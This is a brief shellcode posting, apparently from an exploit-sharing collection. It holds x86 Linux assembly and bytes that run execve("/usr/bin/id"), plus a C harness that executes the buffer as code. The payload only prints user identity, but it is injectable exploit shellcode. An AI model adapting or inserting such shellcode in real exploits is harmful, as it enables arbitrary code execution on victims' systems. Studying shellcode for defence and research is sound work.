///////////////////////////////////// // Shellcode // --------- // execve("/usr/bin/id"); // Author : 0x0syscall // HaKSyN Security TeaM //////////////////////////////////// // xor %eax,%eax // push %eax // push $0x64692f6e // push $0x69622f72 // push $0x73752f2f // mov %esp,%ebx // push %eax // mov %esp,%edx // push %ebx // mov %esp,%ecx // mov $0xb,%al // int $0x80 #include "stdio.h" main() { char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x69\x64\x68\x72\x2f\x62\x69" "\x68\x2f\x2f\x75\x73\x89\xe3\x50\x89\xe2\x53\x89\xe1" "\xb0\x0b\xcd\x80"; (*(void(*)()) shellcode)(); }